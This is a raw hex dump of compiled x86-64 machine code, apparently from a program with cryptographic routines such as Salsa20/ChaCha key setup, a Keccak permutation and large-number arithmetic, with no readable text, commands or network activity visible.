c89f24889f7e847ffffff4c89f14889ea4c89fe4c89ffe8e3feffff4c89f24889ee4889efe828ffffff4589e04c89e94889ea4889de4889dfe82be9ffff4589e04c89e94889ea4889ee4889efe817e9ffff4589e04c89e94889ea4889de4889efe888e9ffff4c89f14889ea4889de4889dfe888feffff4589e04c89e94889da4889de4889efe8dee8ffff4589e04c89e94889ea4889de4889dfe8cae8fffff6030174374c89ea4489e14889de4889dfe888e7ffff4489e64889df4889442408e81ee7ffff480fbe542407488b44240848c1e03f480944d3f8eb0b4489e64889dfe8fde6ffff4c89f24889de4889efe85efeffff488d5424384589e04c89e94889ee4889efe8e4e8ffff488d5424384589e04c89e94889ee4889efe8cee8ffff488d7424384589e04c89e94889ea4889f7e8b8e8ffff488d5424384c89f14889de4889dfe8b6fdffff488d5424184589e04c89e94889de4889d7e88fe8ffff4489e24889ee4889dfe8e6e5ffff4489e24c89fe4889efe8d8e5ffff488d7424184489e24c89ffe8c8e5ffff488b4424586448330425280000007405e81c66ffff4883c4685b5d415c415d415e415fc34156b908000000415541544989f4554889d54c8d6d08534889fb4883ec30440fbe3264488b042528000000488944242831c0488d7c2408f3ab4889df48c744240803000000e859fdffff488d5424084589f04c89e94889de4889dfe8dfe7ffff4889e94c89e24889de4889dfe8dffcffff488d95880000004589f04c89e94889de4889dfe831e7ffff488b4424286448330425280000007405e86f65ffff4883c4305b5d415c415d415ec341554989fdb9080000004154554889f5488d7608534883ec58440fbe66f864488b042528000000488944244831c0488d7c2408488d542408f3ab488d7c242848c744240801000000b108f3ab4889d74489e148c744242801000000e883e5ffff488d7c24084489e6e81ce4ffff8d58ff6683fb017e39488d7424284889ea4889f7e872fcffff488d7c24080fbff3e8b3e3ffff4885c07413488d7424284889e94c89ea4889f7e8fafbffffffcbebc1488d7424284489e24c89efe83ae4ffff488b4424486448330425280000007405e88e64ffff4883c4585b5d415c415dc341564989fe41554989cd41544d89cc554889f54889ce534889d3ba106041004883ec40488d7c24184c8944240864488b042528000000488944243831c0e8d7fbffff4c8b442408b9106041004c89ee4889ef4c89c2e86cfbffff488d74241841b804000000b9186041004c89e24c89f7e8bbe5ffff41b804000000b9186041004889ea4889ee4889efe8a2e5ffff488d742418b9106041004c89e24889dfe823fbffff41b804000000b9186041004889da4889de4889dfe874e5ffff41b804000000b9186041004889da4889de4889dfe85be5ffff488b4424386448330425280000007405e89963ffff4883c4405b5d415c415d415ec34157b908000000ba04000000415641b601415541b5074154554889fd4889ee534881ec1801000064488b042528000000488984240801000031c0488dbc24880000004c8d642468f3ab4c89e748c784248800000001000000e8c6e2ffffb918604100488dbc24a800000041b8040000004889ea4889cee843e5ffff488d7c2408ba040000004c89e666450fbefebb01000000e88ce2ffff488db42488000000488d7c2428ba04000000e875e2ffff488db424a8000000488d7c2448ba04000000e85ee2ffff664439fb7f214c8d4c24484c8d442428488d4c2408ffc34c89ca4c89c64889cfe81ffeffffebd9488d942488000000488d742428488dbc24c8000000b910604100488d9c24e80000004501f6e8b9f9ffff488db424c8000000b9106041004889ea4889f7e8a1f9ffff488d9424c8000000b91860410041b8040000004889ce4889d7e872e4ffff488d742408b9106041004c89e24889dfe86ef9ffff488d9424c800000041b804000000b9186041004889de4889dfe8bae3ffff488d942488000000488d742408488dbc24c8000000b910604100e831f9ffff488d542428b9106041004c89e64889d7e81cf9ffff488d742428488d9424c800000041b804000000b9186041004889f7e866e3ffff488d742428488d7c2448ba10604100e83bf9ffff488d742448b9106041004889ea4889f7e8d3f8ffff488d542448b91860410041b8040000004889ce4889d7e8a7e3ffff488d7c2408ba040000004889dee8fae0ffff488d742408ba040000004c89e7e8e8e0ffff488d742428488dbc2488000000ba04000000e8d1e0ffff488d742448488dbc24a8000000ba04000000e8bae0ffff41fecd0f8509feffff4c8d4c24484c8d442428488d4c2408488d9424c8000000488db424a80000004889df41bc5f000000e86afcffff488d7c2408ba040000004889dee872e0ffff488db424a8000000488d7c2428ba04000000e85be0ffff488db424c8000000488d7c2448ba04000000e844e0ffff4c8d4c24484c8d442428488d4c2408488d9424c8000000488db424a80000004889dfe803fcffffbe040000004889dfe814dfffff4885c075066641ffcc7581488d742428488dbc24c8000000b904000000ba18604100e8f1f0ffff488d9424c8000000488d742408b9106041004889efe87bf7ffff488b8424080100006448330425280000007405e82060ffff4881c4180100005b5d415c415d415e415fc3415641554989d541544989cc554889fd4889d7534889f3be040000004883ec5064488b042528000000488944244831c0e874deffff4885c00f854b010000488d7c24284c89e24889dee856f7ffff488d542428488d7c24084c89e14889eee8eef6ffff4c89e24889ee4889efe833f7ffff488d7424284c89e24889f7e823f7ffff4c89ea4c89ef4d8d6c24084c89e14889dee8baf6ffff41b8040000004c89e94889ea4889ee4889dfe80de1ffff41b8040000004c89e94889ea4889de4889dfe8f6e0fffff60301742db9040000004c89ea4889de4889dfe8b2dfffffbe040000004989c64889dfe848dfffff49c1e63f4c097318eb0dbe040000004889dfe831dfffff4c89e24889de4889efe892f6ffff488d54240841b8040000004c89e94889ee4889efe815e1ffff488d54240841b8040000004c89e94889ee4889efe8fce0ffff488d74240841b8040000004c89e94889ea4889f7e8e3e0ffff488d5424084c89e14889de4889dfe8e1f5ffff488d54242841b8040000004c89e94889de4889dfe8b7e0ffff488b4424486448330425280000007405e8705effff4883c4505b5d415c415d415ec341544989f4554889d5534889fb4883ec1064488b042528000000488944240831c0e8d3f5ffff4889e94c89e24889de4889dfe86ff5ffff488b4424086448330425280000007405e8175effff4883c4104889de4889df5b488d4d08488d958800000041b8040000005d415ce9a0dfffff41554989fd41544989d44889ca554889f54c89e6534889cb4883ec38488d7c240864488b042528000000488944242831c0e853f5ffff488d5424084889d94c89ee4c89efe8edf4ffff488d7424084889d94c89e24889f7e8daf4ffff488d5424084889d94889ee4889efe8c7f4ffff488b4424286448330425280000007405e86f5dffff4883c4385b5d415c415dc341574989ff41564d8d700841554989cd41544d89c455534889d34889fa4883ec48410fbe28488d7c241848897424084889de64488b0c252800000048894c243831c94c89f14189e8e849dfffff488d4c24184c89e24889ce4889cfe89af4ffff488d5424184c89e14c89fe4c89ffe834f4ffff488d5424184c89e14889de4889dfe821f4ffff488b5424084189e84c89f14c89ee4c89efe8fadeffff488d7c24184c89e24c89eee84ef4ffff488d7424184189e84c89f14c89fa4889f7e8d4deffff488d7424184189e84c89f14889da4889f7e8bedeffff4189e84c89f14c89fa4889de4889dfe8aadeffff488b4424084c89e14889da4889c64889c7e8a5f3ffff488d5424184189e84c89f14c89fe4889dfe87edeffff4c89e14889da4c89ee4c89efe87ef3ffff488b5424084189e84c89f14c89ee4c89efe857deffff488d74241889ea4889dfe8addbffff488b4424386448330425280000007405e8015cffff4883c4485b5d415c415d415e415fc341574989cf41564989fe41554989d54889fa41544d89c455498d6808534889e94881ec88000000410fbe18488d7c241848897424084c89ee64488b042528000000488944247831c04189d8e8d4ddffff488d4424184c89e24889c64889c7e825f3ffff488d5424184c89e14c89f64c89f7e8bff2ffff488d5424184c89ee4c89ef4c89e1e8acf2ffff488b542408488d7c24184189d84889e94c89fee8fedcffff488b5424084189d84889e94c89fe4c89ffe86dddffff488d4424384189d84c89ee4889e94c89f24889c7e854ddffff488b7c2408488d5424384c89e14889fee850f2ffff488d4424384189d84889e94c89ea4c89f64889c7e8a1dcffff4c89ef4c89e24c89fee87cf2ffff488d5424384c89ee4c89ef4189d84889e9e802ddffff488d4424584189d84c89ea4889e94c89f64889c7e8e9dcffff488d5424584c89e14c89fe4c89ffe8e7f1ffff4c8b6c24084189d84889e94c89fe4c89ff4c89eae8bddcffff488d742418488d7c24584c89e2e80ff2ffff488d742458488d5424384189d84889e94889f7e893dcffff488d742458488d7c24384189d84889e94c89f2e87bdcffff488d742438488d5424184c89e14889f7e877f1ffff488d7424384189d84889e94c89ea4c89efe850dcffff488d74245889da4c89f7e8a6d9ffff488b4424786448330425280000007405e8fa59ffff4881c4880000005b5d415c415d415e415fc341574589c741564989f641554154554889cd534c89cb4881ecf80000004d0fbe2164488b04252800000048898424e800000031c048897c2430488dbc248800000048895424104889742438410fbec489c24189c58944240ce822d9ffff4a8d04e500000000488dbc24c80000004489ea4889c148894424184c89f04801c84889c64889442420e8f4d8ffff4885ed440fbe237412488d7c24484489e24889eee8dbd8ffffeb16488d7c24484489e6e88dd7ffff48c744244801000000488dac24a8000000488d4424684c8dac24880000004489e24183ef024c8d75204889c74c89eee898d8ffff4489e24c89f64889efe88ad8ffff488d5424484889d94c89f64c89efe8edfaffff4889d9488d5424484c89f64c89efff93a8000000488d542448488d7c24684889d94889eee8c4faffff664585ff7e79488b7c2410410fbff741bc01000000e881d7ffff4885c0488d4c24684989d80f94c041ffcf0fb6c04989c54929c4488d44246849c1e50549c1e4054e8d742d004c01e94e8d6c25004901c44889ca4c89ee4c89f14c89e74889542428e85efcffff488b7c24284989d84c89e94c89e24c89f6e8d6faffffeb81488b442410488d8c24a8000000bd010000004989d84c8d7b08488b0083e0014883f0014989c54829c5488d8424a800000049c1e50548c1e5054e8d3429488d4c24684c8d24284901cd4801cd4c89e64c89f14c89ea4889efe8e9fbffff488d442468448b44240c488db42488000000488d7c24484c89f94889c2e8ebd9ffff488d7424484889d94c89e24889f7e8e9eeffff488d742448488b5424384889d94889f7e8d4eeffff488d7424488b4c240c4c89fa4889f7e81ce8ffff488d742448488b5424204889d94889f7e8abeeffff488d7424484889d94889ea4889f7e898eeffff4989d84c89e14889ea4c89f64c89efe8ddf9ffff488d542448488db424a8000000488d7c24684889d9e834f9ffff8b5c240c4c8b7c2430488d74246889da4c89ffe8a6d6ffff4c89ff48037c2418488db424a800000089dae88fd6ffff488b8424e80000006448330425280000007405e8e056ffff4881c4f80000005b5d415c415d415e415fc3554889fd4889f7534889d34889d94883ec68488d742418488d54243864488b042528000000488944245831c048897424084889542410e8e8e0ffff668b4b024885c0488d73480f94c04989d94889ef0fb6c0448d4101488b54c40831c9450fbfc0e880fcffff408a334889ef01f6400fbef6e8f2d4ffff4885c00f94c0488b4c24586448330c25280000000fb6c07405e83956ffff4883c4685b5dc341574156415541544989cc554c89cd534881ecd800000064488b04252800000048898424c800000031c066418b41024c8d7424484c8d7c246848897c241848897424204889cf8954242c4c89442410668944240e410fbe014c897424384c897c244089c689442428e860d4ffff4885c0740731c0e9e30100000fbf44240eb9400000004c8d6d284c89e64c89ef83c03f99f7f90fbed889dae8dad6fffffec875d14889e94c89fa4c89f64c89e7e8d5dfffff66448b44240e488d7548488dbc24880000004989e941ffc04885c00f94c0450fbfc031c90fb6c0488b54c438e867fbffff8b742428488dbc2488000000e8d9d3ffff4885c00f8575ffffff48833d0d2a210000751589de4c89f7e879d3ffff48c744244801000000eb1589da4c89ee4c89f7e8f3e0ffff85c00f8441ffffff488d5424484189d84c89e94c89e64c89e7e862eaffff89d94c89ea4c89e64c89e7e87ae5ffff488d5424484189d84c89e94c89e64c89e7e83ceaffff0fbe7501488b7c2410488d942488000000e8b6dfffff0fbf4502b908000000488b742418488d7c244883c00799f7f989c2e8f8dfffff8b5424288d43ff488db42488000000488d7c2468489848c744c46800000000e802d4ffff488d542468488d7424484189d84c89e94889d7e8cae9ffff8b54242c488b742420488d7c24484889e9e8f8e0ffff488d542468488d7424484189d84c89e94889d7e8d2d5ffff488d7424684c89e24189d84c89e94889f7e886e9ffff488d7c246889dee82ad3ffff480fbe7d0198400fbef78d14f50000000039d00f8f2afeffff48037c2410488d542468e8e2deffffb801000000488b9c24c80000006448331c25280000007405e8be53ffff4881c4d80000005b5d415c415d415e415fc34883ec1848893d8128210064488b042528000000488944240831c0488b4424086448330425280000007405e87c53ffff4883c418c34883ec1864488b042528000000488944240831c0b8b0614100488b5424086448331425280000007405e84953ffff4883c418c34883ec1864488b042528000000488944240831c0b8e0604100488b5424086448331425280000007405e81653ffff4883c418c34883ec1864488b042528000000488944240831c0b810604100488b5424086448331425280000007405e8e352ffff4883c418c34883ec1864488b042528000000488944240831c0b8405f4100488b5424086448331425280000007405e8b052ffff4883c418c34883ec1864488b042528000000488944240831c0b8705e4100488b5424086448331425280000007405e87d52ffff4883c418c341564c8d722841554989f541544989fc55bd40000000534889d34883ec7064488b042528000000488944246831c00fbf4302b940000000488d7c24084c89f683c03f99f7f90fbed0e815deffff85c0750431c0eb72488d742408488d7c24284889dae843fbffff4885c074500fbf4302b9080000004c89ef83c00799f7f9488d54240889c6e8f5dcffff0fbe7301488d5424284c89e7e8e4dcffff480fbe03480fbe7b01488d54c428400fbef74c01e7e8cadcffffb801000000eb0b48ffcd0f8569ffffffeb8a488b4c24686448330c25280000007405e89c51ffff4883c4705b5d415c415d415ec34157415641554989fd415455534889cb4881ecb80000004c0fbe7101448a2164488b04252800000048898424a800000031c00fbf410248891424b9080000004c8d7c24284c8d4c2448410fbeee4c89ff4c894c24204c894c240883c0074c897c241899f7f989c2e88cdcffff488d7c246889ea4c89eee87ddcffff490fbec44b8d74350089ea488d7cc468e868dcffff4c8b4c24084889d94c89fe4c89ff4c89cae83edbffff48833dc1252100004989c6741b4c8b6cc418488d7308410fbed44c89efe8b1dcffff85c07505eb5b4531ed668b4302488d7424684989d94c89e94889f7448d400131c04d85f60f94c0488b54c418450fbfc0e8aaf6ffff488b3c24488d54246889eee889dbffff408a33488d7c246801f6400fbef6e80acfffff4885c00f94c00fb6c0488b8c24a80000006448330c25280000007405e84e50ffff4881c4b80000005b5d415c415d415e415fc34883ec1864488b042528000000488944240831c00fbe4a0138c87d11480fbec8ffc0448a040f4488440e01ebe701c94863c98a440fff83e00183c0028806488b4424086448330425280000007405e8e94fffff4883c418c341554989fd41544989f4488d770155534889d34883ec5864488b042528000000488944244831c0480fbe020fbe5201488d7c2408488d6cc408e80fdbffff4889da488d7424084889efff93b80000004889de4889efff93b0000000410fb6450048334500a80174120fbe0b488d73084889ea4889efe84dd0ffff0fbe7301488d5424084c89e7e860daffff480fbe7b014889ea400fbef74c01e7e84cdaffff488b4424486448330425280000007405e8304fffff4883c4585b5d415c415dc34157415641554531ed41544989fc55534889f34883ec68408a2e64488b042528000000488944245831c08d742d00400fbef6e889cdffff4885c00f85830000004c8d7b08400fbecd4c89e689ca894c240c4c89ffe8a5cefffffec88b4c240c7562480fbec589ca4c89ff4d8d34c44c89f6e888cefffffec87549488d7c24184889da4c89f6ffcde82fe6ffff4889da4c89e6488d7c2438ff93b800000031c04084ed7815480fbecdffcd488b54cc38483354cc184809d0ebe64531ed4885c0410f94c5488b5c24586448331c25280000004489e87405e84a4effff4883c4685b5d415c415d415e415fc3554889fd534889f34883ec580fbe56014889fe488d7c240864488b042528000000488944244831c0e877d9ffff480fbe03480fbe7301488d7cc408400fbed64801eee85dd9ffff488d7c24084889dee8c2feffff488b4c24486448330c25280000007405e8d24dffff4883c4585b5dc34154b908000000554889f54889fe534889d34883ec7064488b042528000000488944246831c00fbf4202488d7c240883c00799f7f989c2e8f8d8ffff0fbf4302b940000000488d7c240883c03f99f7f9440fbee04489e6e80accffff4885c0740431c0eb5c488d7b28488d7424084489e2e89acefffffec875e7488d742408488d7c24284889dae871f6ffff4885c074d00fbe7301488d5424284889efe830d8ffff480fbe03480fbe7b01488d54c428400fbef74801efe816d8ffffb801000000488b4c24686448330c25280000007405e8f54cffff4883c4705b5d415cc341574989cf41564189d641554989f541544989fc554c89c553bb400000004883ec3864488b042528000000488944242831c00fbf4502b940000000488d7528488d7c240883c03f99f7f90fbed0e884d8ffff85c0750431c0eb29488d4c24084989e94d89f84489f24c89ee4c89e7e847f6ffff85c0750748ffcb75b6ebd8b801000000488b5c24286448331c25280000007405e8544cffff4883c4385b5d415c415d415e415fc34157415641554d89cd415455534889cb4883ec7866458b7902448b611c64488b042528000000488944246831c0488b6920450fbe7101410fbfc748897424108954241c8944242083c03fbe400000009948897c24084c89442430f7fe4901ec31d23b531c731089d1ffc241c6040c01c6440d0000ebeb4889ee4889df89442424e898d9ffff8b531c4c89e64889df41c60414008b431c8d5001e8f8d9ffff488b7424084489f24889dfe8e8d9ffff8b54241c488b7424104889dfe8d7d9ffff4889ea4889ee4889dfe8fcd9ffff4c89e24889ee4889dfe88cdaffff4889ee4889dfe837d9ffff8b531c4c89e64889df41c60414018b431c8d5001e897d9ffff488b7424084489f24889dfe887d9ffff8b54241c488b7424104889dfe876d9ffff4889ea4889ee4889dfe89bd9ffff4889df4c89e24889eee82bdaffff8b44242448c744242840000000440fbef04489f1428d3cf50000000041ffcec1e1064d63f6894c2438660fbec8897c2424c1e1064429f94983cfff49d3ef31c94889ee4c89e24889df894c243ce8d9d9ffff8b731c8b4c243c31c039c676e1418a3c048d5101480fbec948ffc040887c0c480fbeca3b4c24247d0488d1ebdc8b442420394424387e054e217cf4484c8b4424308b54241c488d4c2448488b742410488b7c24084d89e9e829f4ffff85c07407b801000000eb534889ee4889df8944243ce819d8ffff8b531c4c89e64889df41c60414008b431c8d5001e879d8ffff4889ea4889ee4889dfe89ed8ffff4c89e24889ee4889dfe82ed9ffff48ff4c24288b44243c0f8532ffffff488b7424686448333425280000007405e8e849ffff4883c4785b5d415c415d415e415fc341574189d74156415541544989fc554889cdb940000000534c89c34881ec3802000064488b042528000000488984242802000031c0418a004c8db424a801000048897424304889fe4c89f78844241f410fbf400283c03f99f7f9410fbe50010fbec8448d69ff894c24184d63ed4ac784eca8000000000000004ac784ec68010000000000004ac784ec8801000000000000e8acd4ffff480fbe7c241f480fbe730148897c241048c1e703400fbed648897c24204c01e64c01f748897c24284531e4e87cd4ffff0fbe5301488dbc24680100004889eee868d4ffff480fbe7301488dbc2488010000400fbed64801eee84fd4ffff0fbe6c241f488dbc246801000089eee86dc7ffff4885c00f852d040000488dbc248801000089eee855c7ffff4885c00f8515040000488d43288b542418488db424680100004889c74889442408e86dc8fffffec80f85f00300008b542418488b7c2408488db42488010000e84fc8fffffec80f85d20300004c8da424880000008b4c2418488b542408488db424880100004c89e7e8ecd8ffff4ac744ec4800000000488b7424304c8d6c24484489fa4889d94c89efe8e7d4ffff448b7c2418488b4c24084c89e24c89ee4c89ef4589f8e888ddffff488b4c24084589f844897c2418488db424680100004c8dbc24e8010000488d7c24684c89e2e85eddffff4c89f64c89ff89eae871c7ffff488b442420488b74242889ea4c01f84889c74889442428e855c7ffff488d4348488dbc24e800000089ea4889c64889442430e83ac7ffff488b542410488dbc2408010000488d74d34889eae821c7ffff488d4b08488d9424e80000004c89fe4189e84c89e748894c2410e89dc9ffff488b4c2428488db42408010000488dbc24e80000004989d84c89fae8e7e9ffff488b54241089e94c89e64c89e7e8d8d7ffff488b7424284889d94c89e24c89ffe833e9ffff4c89bc2460010000448b7c2418488d7c2468488b4424304c89b4245801000048c7842448010000000000004489fe4889842450010000e812c6ffff4489fe4189c64c89efe804c6ffff664439f04c89ef440f4df04589f7418d57ff440fbff24489f6e8a3c5ffff31d2488d7c24684885c00f95c24489f64c8db424a800000089542428e882c5ffff4883f8014c89f719d24183ef02f7d283e2020b5424284863d2488b84d44801000089ea4889c64889442428e805c6ffff488b442428488b4c242089ea488d3408488d8424c80000004889c74889442428e8e0c5ffff89ee4c89e7e897c4ffff48c7842488000000010000004c896c2438664585ff0f88050100004889d94c89e2488b7424284c89f7450fbfefff93a8000000488b7c24384489eee8e3c4ffff4885c0488d7c24684489ee0f95c00fb6c089442430e8c9c4ffff4883f80119c0f7d083e0020b44243048984c8bacc4480100004d85ed0f849c000000488dbc24e800000089ea4c89eee848c5ffff488b442420488dbc240801000089ea498d740500e82fc5ffff488db42408010000488dbc24e80000004889d94c89e2e88ae7ffff488b4c2410488d9424e8000000488dbc24280100004189e84c89f6e88fc7ffff488b4c2428488db42408010000488dbc24e80000004c89f24989d8e8d9e7ffff488d9424280100004889d94c89e64c89e7e86adcffff41ffcfe9f1feffff488b54241089e94c89e64c89e7e8acd5ffff488b7424284889d94c89e24c89f7e807e7ffff448b7c2418488b5c24084c89f64489fa4889dfe8bbc4fffffec874114489f94889da4c89f64c89f7e8b0c5ffff8a44241f31d2ffc884c0781b480fbef0ffc8488b8cf46801000048338cf4a80000004809caebe14531e44885d2410f94c4488b9c24280200006448331c25280000004489e07405e88144ffff4881c4380200005b5d415c415d415e415fc34883ec1864488b042528000000488944240831c08b070301c1c819330689060307c1c817330289020306c1c813330189010302c1c80e3107488b4424086448330425280000007405e82244ffff4883c418c34157415641554154554889fd534881ecf800000064488b04252800000048898424e800000031c00fb65405010fb64c0500488d9c24a8000000c1e20801d10fb6540502c1e21001d10fb6540503c1e21801ca899404a8000000895404684883c0044883f84075c0c74424040a000000488d43304c8d4310488d73204889df4c8d73144c8d6b2c4889c14889f248897424104c89c648894424084c89442458e80bffffff488d4b344c8d4b044c89f74c8d633c4989cf488d4b244c894c24504c89fa4c897c24184c8d7b184989c84c89c94c89c64c89442420e8d1feffff4c8d53084c8d4b384c8d5b284c89f94c89d24c89ce4c89df4c895424484c894c24284c895c2430e8a5feffff488d431c4c8d5b0c4c89e94c89e74889c24c89de48894424404c895c2438e882feffff4c8b5c24384c8b5424484889df4c8b4c24504c89d94c89d24c89cee862feffff4c8b442458488b4424404c89fe4c89f74c89c14889c2e847feffff488b4c2420488b5424104c89ee488b7c2430e830feffff488b4c2428488b5424184c89e7488b742408e819feffffff4c24040f85d0feffff31c08b54046803140389d189140388540500c1e908884c050189d1c1ea18c1e91088540503884c05024883c0044883f84075cf488b8424e80000006448330425280000007405e83342ffff4881c4f80000005b5d415c415d415e415fc34883ec284989d031c964488b042528000000488944241831c0c644240865c64424097841b914000000c644240a70c644240b61c644240c6ec644240d64c644240e20c644240f31c644241036c64424112dc644241262c644241379c644241474c644241565c644241620c64424176b89c89941f7f9498d140848984c8d54840831c0458a1c0244881c0248ffc04883f80475ef4883c1144883f95075d231c08a140741885400048a1407418854002c8a1406418854001848ffc04883f81075df488b4424186448330425280000007405e84c41ffff4c89c74883c428e923fdffff4883ec284989d031c964488b042528000000488944241831c0c644240865c64424097841b914000000c644240a70c644240b61c644240c6ec644240d64c644240e20c644240f33c644241032c64424112dc644241262c644241379c644241474c644241565c644241620c64424176b89c89941f7f9498d140848984c8d54840831c0458a1c0244881c0248ffc04883f80475ef4883c1144883f95075d231c08a140741885400048a540710418854002c8a1406418854001848ffc04883f81075de488b4424186448330425280000007405e86a40ffff4c89c74883c428e941fcffff415741564d89c641554989fd415441bc50d44000555389cb4883ec7864488b042528000000488944246831c085f644894c240c48c74424180000000048c744242000000000740e4531e4b86fd34000ffce4c0f44e04d85e40f84c10000004d85ed0f84b80000004885d20f84af0000004d85f60f84a600000031c08a0c0248ffc0884c04174883f80875f0f6c33f743489d8488d542428488d742418c1e8064c89ef8844242089d8c1e80e8844242189d8c1e8168844242289d8c1e81e8844242341ffd431ed3b6c240c734f8d042b4189c74183e73f753289c2488d7424184c89efc1ea068854242089c2c1ea0e8854242189c2c1e81ec1ea168844242388542422488d54242841ffd44589ff428a443c284130042e48ffc5ebab31c0eb05b801000000488b4c24686448330c25280000007405e8253fffff4883c4785b5d415c415d415e415fc3415741564155415455534881ecc800000064488b04252800000048898424b800000031c0488b06483107488b460848314708488b461048314710488b461848314718488b462048314720488b462848314728488b463048314730488b463848314738488b4640483147404883fa487663488b464848314748488b465048314750488b465848314758488b4660483147604883fa68763d488b466848314768488b467048314770488b467848314778488b8680000000483187800000004881fa88000000760e488b868800000048318788000000488d9c24b800000031c048895c245831d2488b4c172848330c1748334c175048334c177848338c17a000000048894c14684883c2084883fa2875d64c8b542470488b8c24880000004c8b4c24784c8b8424800000004c89d248c1ca3f4c89ce4831ca48c1ce3f48c1c93f4889942490000000488b5424684c31c948898c24a80000004831d648c1ca3f4889b424980000004c89c64c31c248c1ce3f48899424b00000004889fa4c31d64889b424a0000000488db42490000000488b0e4883c60848310a48314a2848314a5048314a7848318aa00000004883c208483b74245875d8488b7718488b5f08488b4f384c8b4720488b57284c8b77484889742408488b775048891c2448894c241049c1c825488b5f10488b4f4049c1ce2c4889742418488b775848c1ca1c4c8b5f604c8b57684c8b677048c10c243f48c1cb024889742420488b777848c1c90948c14c24082448c14c24103a49c1cb1549c1ca2749c1cc194889742428488bb78000000048c14c24183d48c14c24203648c14c2428174889742430488bb788000000488bafa00000004c8bafb00000004c8b7f304c8b8fb80000004889742438488bb79000000048899fa000000048c1cd2e49c1cd0349c1c90849c1cf1448c14c2430134889742440488bb79800000048c14c24383148c14c24402b4c897f08488974244848c14c244838488bb7a8000000488b5c24484c8977304c896f484c89a7b0000000488974245048895f68488bb7c000000048c14c24503e48896f704c895f104c8957604c898f98000000488b5c242848c1ce3248899780000000488d5710488977204c89477831f648899fb8000000488b5c245048898fa800000048899fc0000000488b5c243048895f40488b5c240848895f28488b5c244048895f18488b5c243848899f90000000488b5c242048899f88000000488b5c241048895f58488b5c241848895f38488b1c2448895f504c8b4af84c8b42f083c6054c89c948f7d148230a4c31c148894af0488b0a48f7d148234a0848314af8488b4a0848f7d148234a1048310a488b4a1048f7d14c21c148314a084c89c148f7d14c21c948314a104883c22883fe1975a5488b90f06241004883c008483117483dc00000000f85dcfcffff488b8424b80000006448330425280000007405e8f83affff4881c4c80000005b5d415c415d415e415fc34883ec18b9640000004889fa64488b042528000000488944240831c0f3ab488b442408644833042528000000c7828c010000900000007405e8a93affff4883c418c34883ec18b9640000004889fa64488b042528000000488944240831c0f3ab488b442408644833042528000000c7828c010000880000007405e8673affff4883c418c34883ec18b9640000004889fa64488b042528000000488944240831c0f3ab488b442408644833042528000000c7828c010000680000007405e8253affff4883c418c34883ec18b9640000004889fa64488b042528000000488944240831c0f3ab488b442408644833042528000000c7828c010000480000007405e8e339ffff4883c418c3415641554989fd415455534883ec10458ba58c01000064488b042528000000488944240831c08b878801000085c089c70f88a1000000488d043a4889d331d24889f549f7f44885ff418995880100007436498d85c80000004d89e64929fe488d14384c39f34c89f1480f46cb4889d7f3a472644c89e24889c64c89ef4c01f54c29f3e841faffff4d8db5c80000004c39e3722d40f6c5074889e8740e4c89f74889ee4c89e1f3a44c89f04c89e24889c64c89efe810faffff4c01e54c29e3ebce4885db74124981c5c80000004889ee4889d94c89eff3a4488b4424086448330425280000007405e8f238ffff4883c4105b5d415c415d415ec341554989f5415441bc6400000055534889fb4883ec188baf8c0100008b978801000064488b042528000000488944240831c089e8d1e84129c485d2783b488db7c80000004889e931c04829d14801f24889d74889eaf3aa4889df8b8388010000800c0606804c2eff80e861f9ffffc78388010000000000804c39e57719b9d0624100ba45010000be78624100bfac624100e8bf38ffff4d85ed740b4c89ef4889de4c89e1f3a4488b4424086448330425280000007405e82a38ffff4883c4185b5d415c415dc3534889fbbf020000004883ec10488d54240464488b042528000000488944240831c0e88839ffff488d742404ba040000004889dfe87d90ffff488b4c24086448330c25280000007405e8d137ffff4883c4104889d85bc34883ec18bae9000000beb0634100bf3800000064488b042528000000488944240831c0e8503600004889c231c0b90e000000488b7424086448333425280000004889d7f3ab7405e87c37ffff4889d04883c418c341574989d7415641554189f541544989fcbf010000005553bb010000004883ec2864488b042528000000488944241831c0e8c68bffff4489ee4c89e74889c5e8c29fffff4188c64584f60f8423010000428d0c2b0f898e0000004180fec0753e89ce4c89e7ffc3e89a9fffff31d24c89e70fb6f0e887ffffff4889ef4989c44889c6e85294ffffba54000000beb06341004c89e7e852370000e9d5000000488b3d170c2100410fb6cebabb634100be0100000031c0e89a39ffff488b3dfb0b210041b9fb63410041b85c000000b9b0634100baca554100be0100000031c0e87139ffffe8fc35ffff410fb6c6ba61000000beb06341004889c7894c240848890424e81e3500008b4c24084889c24c89e7488944240889ce488b0c24e8aa9cffff488b1424488b7424084889efe8da8effff488b7c2408ba64000000beb0634100e8a6360000450fb6c64c89e74401c3428d342be8ae9effff84c04188c6740dbe2e0000004889efe83390ffffffc3e9d4feffff31f64889efe82290ffff4d85ff740341891f488b4424186448330425280000007405e8da35ffff4883c4284889ef31f65b5d415c415d415e415fe90f8effff55534889fb4883ec1864488b042528000000488944240831c0e8438cffff488d54240489c64889dfe821feffff4889df4889c5e8298cffff8b5424044889df488d3410e84b8cffff488b4c24086448330c25280000007405e86535ffff4883c4184889e85b5dc3554889f5534889fb4883ec2864488b042528000000488944241831c0e8d98bffff488d54240889c6b9100000004889dfe87c9bffff488d742408b9280000004889eabf0a000000e83f34ffff4889dfe8a68bffff488d70104889dfe8cc8bffff488b4c24186448330c25280000007405e8e634ffff4883c4284889e85b5dc3554889f5534889fb4883ec1864488b042528000000488944240831c0e85a8bffff488d54240489c6b9040000004889dfe8fd9affff488d742404b9100000004889eabf02000000e8c033ffff4889dfe8278bffff488d70044889dfe84d8bffff488b4c24086448330c25280000007405e86734ffff4883c4184889e85b5dc3415741564189d641554189cd41544589c4554c89cd534889fb4883ec2864488b042528000000488944241831c0668b471248897424088d700166897712488b7f204885ff74180fb7f6b9cc020000bab063410048c1e605e82c330000eb14bace020000beb0634100bf20000000e89b320000488943200fb74312beb0634100488b5320488b7c240848c1e0054c8d7c02e0bad1020000e8513300004989070fb74312488b532048c1e005488d4402e0448970084489680c4489601048896818488b4424186448330425280000007405e88933ffff4883c4285b5d415c415d415e415fc3415741564189d641554189cd41544589c4554c89cd534889fb4883ec2864488b042528000000488944241831c0668b471648897424088d700166897716488b7f304885ff74180fb7f6b940030000bab063410048c1e605e849320000eb14ba42030000beb0634100bf20000000e8b8310000488943300fb74316beb0634100488b5330488b7c240848c1e0054c8d7c02e0ba45030000e86e3200004989070fb74316488b533048c1e005488d4402e0448970084489680c4489601048896818488b4424186448330425280000007405e8a632ffff4883c4285b5d415c415d415e415fc34156ba200000004983ceff41554154554889fd4889f7beb0634100534883ec1064488b042528000000488944240831c0e8f13100004989c54889c3be2e0000004889dfe88f32ffff4885c04989c474344889df41c604240031c04c89f1f2ae4889ef48f7d1488d71ff400fb6f6e8508cffff4889de4889ef498d5c2401e87a8fffffebb7803b0